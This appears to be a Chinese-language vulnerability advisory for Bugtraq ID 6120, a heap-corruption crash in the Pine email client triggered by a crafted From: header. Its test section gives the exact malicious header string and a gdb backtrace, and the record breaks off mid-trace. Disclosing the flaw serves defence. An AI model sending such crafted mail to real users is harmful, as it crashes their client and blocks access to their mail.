积极预防
及时发现
快速响应
力保恢复
受影响系统： University of Washington Pine 4.33 University of Washington Pine 4.30 University of Washington Pine 4.21 University of Washington Pine 4.20 University of Washington Pine 4.10 University of Washington Pine 4.0.4 University of Washington Pine 4.0.2 University of Washington Pine 3.98 University of Washington Pine 4.44 - FreeBSD 4.4 - FreeBSD 4.3 - FreeBSD 4.2 - RedHat Linux 7.2 x86 - RedHat Linux 7.2 ia64 - RedHat Linux 7.1 ia64 - RedHat Linux 7.1 x86 - RedHat Linux 7.1 alpha - RedHat Linux 7.1 描述： BUGTRAQ ID: 6120 Pine是一款开放源代码的EMAIL客户端。 Pine对From:字段数据处理不正确，远程攻击者可以利用这个漏洞发送恶意邮件导致Pine发生基于堆的破坏，造成Pine客户端崩溃。 当Pine检测到邮件的From头字段类似如下形式： From: \"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\"@host.fubar 可导致Pine由于段错误而崩溃。攻击者可以发送特殊构建的From头字段而完全合法兼容RFC的邮件消息给目标Pine用户，可使Pine在启动 的时候发生core dump。唯一的方法是从spool或者使用其他MUA手工删除这个错误邮件，否则不能使用Pine来接收邮件。 <*来源：Linus Sjoberg （lsjoberg@aland.net） 链接：http://marc.theaimsgroup.com/?l=bugtraq&m=103668430620531&w=2 *> 测试方法： 警 告 以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ Linus Sjoberg （lsjoberg@aland.net）提供了如下测试方法： 提交包含如下From头字段的邮件： From: "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\""@host.fubar 使用gdb产生如下调试信息： #0 0x401ea490 in chunk_free (ar_ptr=0x4029e300, p=0x83b65d8) at malloc.c:3231 #1 0x401ea3f4 in __libc_free (mem=0x83b65e0) at malloc.c:3154 #2 0x081ef8e2 in fs_give (block=0xbfffb9b8) at fs_unix.c:60 #3 0x080feb4f in set_index_addr (idata=0xbfffc8c0, field=0x83012d8 "From", addr=0x83b6160, prefix=0x0, width=18, s=0xbfffbd11 "\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\"\\\b`′:\bX?^????\036\b") at mailindx.c:4508 #4 0x080fb397 in format_index_line (idata=0xbfffc8c0) at mailindx.c:3376 #5 0x080f9ec4 in build_header_line (state=0x839f260, stream=0x83aba88, msgmap=0x83a17b0, msgno=40) at mailindx.c:2761 #6 0x080f71e3 in update_index (state=0x839f260, screen=0xbfffcb90) at mailindx.c:1264 #7 0x080f576c in index_lister (state=0x839f260, cntxt=0x83a8d28, folder=0x839f325 "INBOX", stream=0x83aba88, msgmap=0x83a17b0) at mailindx.c:603 #8 0x080f5347 in mail_index_screen (state=0x839f260) at mailindx.c:452 #9 0x081588e6 in main (argc=1, argv=0xbfffddc4) at pine.c:1122 #10 0x40185657 in __libc_start_main (main=0x8156974
